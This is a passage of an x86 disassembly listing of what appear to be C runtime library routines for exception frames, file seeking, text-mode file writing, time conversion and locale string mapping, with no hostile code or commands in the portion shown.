		push	edi
		call	sub_424E5C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422B02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422B8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D300
		add	esp, 0Ch
		jmp	short loc_422B07
; ---------------------------------------------------------------------------


loc_422AA1:				; CODE XREF: sub_422962+103j
		call	sub_424E40
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422B02
		push	1
		push	edi
		call	sub_424E5C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422B02
		push	dword ptr [esi+18h]
		call	sub_424E78
		pop	ecx
		test	eax, eax
		jz	short loc_422B02
		test	byte ptr [esi],	4
		jz	short loc_422AE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422B8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CF35
		jmp	short loc_422B07
; ---------------------------------------------------------------------------


loc_422AE8:				; CODE XREF: sub_422962+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422B8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CF2E
		jmp	short loc_422B07
; ---------------------------------------------------------------------------


loc_422B02:				; CODE XREF: sub_422962+6Aj
					; sub_422962+7Cj ...
		call	sub_422C52


loc_422B07:				; CODE XREF: sub_422962+98j
					; sub_422962+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422B0B:				; CODE XREF: sub_422962+2Ej
					; sub_422962+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422962	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422BFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B26	proc near		; CODE XREF: sub_422451+170p
					; sub_4228F2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288E8
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422B6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422B6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41CF2E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422B6D:				; CODE XREF: sub_422B26+2Aj
					; sub_422B26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422BFC

; =============== S U B	R O U T	I N E =======================================



sub_422B8D	proc near		; CODE XREF: sub_422962+8Fp
					; sub_422962+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422BAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422BAE:				; CODE XREF: sub_422B8D+12j
		pop	esi
		retn
sub_422B8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BB0	proc near		; CODE XREF: sub_41CFC1+40p
					; sub_4226FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D2AD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422BEF
		mov	ecx, 2


loc_422BEF:				; CODE XREF: sub_422BB0+38j
		push	ecx
		call	sub_41D2AD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BFC	proc near		; CODE XREF: sub_422451:loc_4225F3j
					; sub_42279B:loc_4227ACj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424E90 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288F8
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DE678
		test	eax, eax
		jz	short loc_422C44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422C40
; ---------------------------------------------------------------------------


loc_422C39:				; DATA XREF: .XPack0:00428908o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422C3D:				; DATA XREF: .XPack0:0042890Co
		mov	esp, [ebp+var_18]


loc_422C40:				; CODE XREF: sub_422BFC+3Bj
		and	[ebp+var_4], 0


loc_422C44:				; CODE XREF: sub_422BFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422C4D:				; DATA XREF: .XPack0:00428900o
		jmp	loc_424E90
sub_422BFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C52	proc near		; CODE XREF: sub_41D163+23p
					; sub_41D163:loc_41D1CEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428910
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43FBE4
		test	eax, eax
		jz	short loc_422C9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422BFC
		jmp	short loc_422C96
; ---------------------------------------------------------------------------


loc_422C8F:				; DATA XREF: .XPack0:00428920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422C93:				; DATA XREF: .XPack0:00428924o
		mov	esp, [ebp+var_18]


loc_422C96:				; CODE XREF: sub_422C52+3Bj
		and	[ebp+var_4], 0


loc_422C9A:				; CODE XREF: sub_422C52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422CA3:				; DATA XREF: .XPack0:00428918o
		jmp	sub_422BFC
sub_422C52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422CA8	proc near		; CODE XREF: sub_41D643+7p
					; sub_41D643+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DFC68
		push	esi
		cmp	eax, 3
		jnz	short loc_422CD1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E517
		test	eax, eax
		pop	ecx
		jz	short loc_422CCE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422D06
; ---------------------------------------------------------------------------


loc_422CCE:				; CODE XREF: sub_422CA8+1Cj
		push	esi
		jmp	short loc_422CF8
; ---------------------------------------------------------------------------


loc_422CD1:				; CODE XREF: sub_422CA8+Ej
		cmp	eax, 2
		jnz	short loc_422CF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F272
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422CF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422D06
; ---------------------------------------------------------------------------


loc_422CF5:				; CODE XREF: sub_422CA8+2Cj
					; sub_422CA8+43j
		push	[ebp+arg_0]


loc_422CF8:				; CODE XREF: sub_422CA8+27j
		push	0
		push	dword_4DFC64
		call	dword_428058	; RtlSizeHeap


loc_422D06:				; CODE XREF: sub_422CA8+24j
					; sub_422CA8+4Bj
		pop	esi
		leave
		retn
sub_422CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D09	proc near		; CODE XREF: sub_41D71B+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422DC5
		cmp	ebx, 8Ah
		jg	loc_422DC5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_4400AC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_422D48
		cmp	edi, 2
		jle	short loc_422D48
		inc	esi


loc_422D48:				; CODE XREF: sub_422D09+37j
					; sub_422D09+3Cj
		call	sub_424EA7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43FFC8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_422DBB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422DC1
		cmp	dword_43FFCC, 0
		jz	short loc_422DC1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42511A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422DC1


loc_422DBB:				; CODE XREF: sub_422D09+90j
		add	ecx, dword_43FFD0


loc_422DC1:				; CODE XREF: sub_422D09+96j
					; sub_422D09+9Fj ...
		mov	eax, ecx
		jmp	short loc_422DC8
; ---------------------------------------------------------------------------


loc_422DC5:				; CODE XREF: sub_422D09+13j
					; sub_422D09+1Fj
		or	eax, 0FFFFFFFFh


loc_422DC8:				; CODE XREF: sub_422D09+BAj
		pop	ebx
		leave
		retn
sub_422D09	endp


; =============== S U B	R O U T	I N E =======================================



sub_422DCB	proc near		; CODE XREF: sub_41D88C+67p
					; sub_41F7BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DFA20
		push	esi
		push	edi
		jnb	short loc_422E4D
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DF920h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422E4D
		push	eax
		call	sub_423F6A
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422E0F
		mov	dword_4DE5C4, 9
		jmp	short loc_422E5E
; ---------------------------------------------------------------------------


loc_422E0F:				; CODE XREF: sub_422DCB+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_42812C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422E2F
		call	dword_428094	; RtlGetLastWin32Error
		jmp	short loc_422E31
; ---------------------------------------------------------------------------


loc_422E2F:				; CODE XREF: sub_422DCB+5Aj
		xor	eax, eax


loc_422E31:				; CODE XREF: sub_422DCB+62j
		test	eax, eax
		jz	short loc_422E3E
		push	eax
		call	sub_420A7F
		pop	ecx
		jmp	short loc_422E5E
; ---------------------------------------------------------------------------


loc_422E3E:				; CODE XREF: sub_422DCB+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422E61
; ---------------------------------------------------------------------------


loc_422E4D:				; CODE XREF: sub_422DCB+Dj
					; sub_422DCB+2Aj
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9


loc_422E5E:				; CODE XREF: sub_422DCB+42j
					; sub_422DCB+71j
		or	eax, 0FFFFFFFFh


loc_422E61:				; CODE XREF: sub_422DCB+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422DCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E65	proc near		; CODE XREF: sub_41D88C+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422E81
		mov	[edi+4], ebx


loc_422E81:				; CODE XREF: sub_422E65+17j
		push	1
		push	ebx
		push	esi
		call	sub_422DCB
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422EEF
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422EA6
		sub	eax, [edi+4]
		jmp	loc_422FB8
; ---------------------------------------------------------------------------


loc_422EA6:				; CODE XREF: sub_422E65+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422EE0
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DF920[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422EF7
		mov	edx, ecx


loc_422ED1:				; CODE XREF: sub_422E65+79j
		cmp	edx, eax
		jnb	short loc_422EF7
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_422EDD
		inc	[ebp+var_8]


loc_422EDD:				; CODE XREF: sub_422E65+73j
		inc	edx
		jmp	short loc_422ED1
; ---------------------------------------------------------------------------


loc_422EE0:				; CODE XREF: sub_422E65+50j
		test	dl, 80h
		jnz	short loc_422EF7
		mov	dword_4DE5C4, 16h


loc_422EEF:				; CODE XREF: sub_422E65+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422FB8
; ---------------------------------------------------------------------------


loc_422EF7:				; CODE XREF: sub_422E65+68j
					; sub_422E65+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422F05
		mov	eax, [ebp+var_8]
		jmp	loc_422FB8
; ---------------------------------------------------------------------------


loc_422F05:				; CODE XREF: sub_422E65+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422FB0
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_422F1E
		and	[ebp+var_8], edx
		jmp	loc_422FB0
; ---------------------------------------------------------------------------


loc_422F1E:				; CODE XREF: sub_422E65+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DF920h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_422FAA
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422DCB
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_422F71
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_422F5C:				; CODE XREF: sub_422E65+104j
		cmp	eax, ecx
		jnb	short loc_422F6B
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_422F68
		inc	[ebp+arg_0]


loc_422F68:				; CODE XREF: sub_422E65+FEj
		inc	eax
		jmp	short loc_422F5C
; ---------------------------------------------------------------------------


loc_422F6B:				; CODE XREF: sub_422E65+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422FA5
; ---------------------------------------------------------------------------


loc_422F71:				; CODE XREF: sub_422E65+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422DCB
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_422F98
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_422F98
		test	ch, 4
		jz	short loc_422F9B


loc_422F98:				; CODE XREF: sub_422E65+124j
					; sub_422E65+12Cj
		mov	eax, [edi+18h]


loc_422F9B:				; CODE XREF: sub_422E65+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422FA5:				; CODE XREF: sub_422E65+10Aj
		jz	short loc_422FAA
		inc	[ebp+arg_0]


loc_422FAA:				; CODE XREF: sub_422E65+D9j
					; sub_422E65:loc_422FA5j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422FB0:				; CODE XREF: sub_422E65+A4j
					; sub_422E65+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422FB8:				; CODE XREF: sub_422E65+3Cj
					; sub_422E65+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FBD	proc near		; CODE XREF: sub_41D954+A2p
					; sub_41E22B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DFA20
		push	esi
		push	edi
		jnb	loc_423151
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DF920h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_423151
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42300E


loc_423007:				; CODE XREF: sub_422FBD+177j
		xor	eax, eax
		jmp	loc_423165
; ---------------------------------------------------------------------------


loc_42300E:				; CODE XREF: sub_422FBD+48j
		test	al, 20h
		jz	short loc_42301E
		push	2
		push	edi
		push	ecx
		call	sub_422DCB
		add	esp, 0Ch


loc_42301E:				; CODE XREF: sub_422FBD+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_4230ED
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423125


loc_42303E:				; CODE XREF: sub_422FBD+F5j
		lea	eax, [ebp+var_414]


loc_423044:				; CODE XREF: sub_422FBD+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_423078
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_423063
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_423063:				; CODE XREF: sub_422FBD+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423044


loc_423078:				; CODE XREF: sub_422FBD+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jz	short loc_4230E2
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4230B4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42303E


loc_4230B4:				; CODE XREF: sub_422FBD+EAj
					; sub_422FBD+12Ej
		xor	edi, edi


loc_4230B6:				; CODE XREF: sub_422FBD+150j
					; sub_422FBD+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42314C
		cmp	[ebp+arg_0], edi
		jz	short loc_423125
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_42311A
		mov	dword_4DE5C4, 9
		mov	dword_4DE5C8, eax
		jmp	loc_423162
; ---------------------------------------------------------------------------


loc_4230E2:				; CODE XREF: sub_422FBD+E0j
		call	dword_428094	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4230B4
; ---------------------------------------------------------------------------


loc_4230ED:				; CODE XREF: sub_422FBD+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jz	short loc_42310F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_42310F:				; CODE XREF: sub_422FBD+145j
		call	dword_428094	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_422FBD+10Fj
		push	[ebp+arg_0]
		call	sub_420A7F
		pop	ecx
		jmp	short loc_423162
; ---------------------------------------------------------------------------


loc_423125:				; CODE XREF: sub_422FBD+7Bj
					; sub_422FBD+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_42313A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423007


loc_42313A:				; CODE XREF: sub_422FBD+16Fj
		mov	dword_4DE5C4, 1Ch
		mov	dword_4DE5C8, edi
		jmp	short loc_423162
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_422FBD+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_423165
; ---------------------------------------------------------------------------


loc_423151:				; CODE XREF: sub_422FBD+15j
					; sub_422FBD+37j
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9


loc_423162:				; CODE XREF: sub_422FBD+120j
					; sub_422FBD+166j ...
		or	eax, 0FFFFFFFFh


loc_423165:				; CODE XREF: sub_422FBD+4Cj
					; sub_422FBD+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42316A	proc near		; CODE XREF: sub_41DC4A+47p
					; sub_41DC4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428930
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DE69C, edi
		jnz	short loc_4231E0
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_428928
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_4231BE
		mov	dword_4DE69C, ebx
		jmp	short loc_4231E0
; ---------------------------------------------------------------------------


loc_4231BE:				; CODE XREF: sub_42316A+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CE1C0
		push	esi
		push	edi
		call	dword_428054	; LCMapStringA
		test	eax, eax
		jz	loc_4232F8
		mov	dword_4DE69C, 2


loc_4231E0:				; CODE XREF: sub_42316A+2Ej
					; sub_42316A+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_4231F5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42338E
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4231F5:				; CODE XREF: sub_42316A+79j
		mov	eax, dword_4DE69C
		cmp	eax, 2
		jnz	short loc_42321C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428054	; LCMapStringA
		jmp	loc_4232FA
; ---------------------------------------------------------------------------


loc_42321C:				; CODE XREF: sub_42316A+93j
		cmp	eax, 1
		jnz	loc_4232F8
		cmp	[ebp+arg_18], edi
		jnz	short loc_423232
		mov	eax, dword_4DE694
		mov	[ebp+arg_18], eax


loc_423232:				; CODE XREF: sub_42316A+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_4280E8	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_4232F8
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42328D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_42328D:				; CODE XREF: sub_42316A+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_4232F8
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_4280E8	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4232F8
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_4232F8
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42330C
		cmp	[ebp+arg_14], edi
		jz	loc_423387
		cmp	esi, [ebp+arg_14]
		jg	short loc_4232F8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jnz	loc_423387


loc_4232F8:				; CODE XREF: sub_42316A+66j
					; sub_42316A+B5j ...
		xor	eax, eax


loc_4232FA:				; CODE XREF: sub_42316A+ADj
					; sub_42316A+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42330C:				; CODE XREF: sub_42316A+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423340
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423340:				; CODE XREF: sub_42316A+1C2j
		cmp	ebx, edi
		jz	short loc_4232F8
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
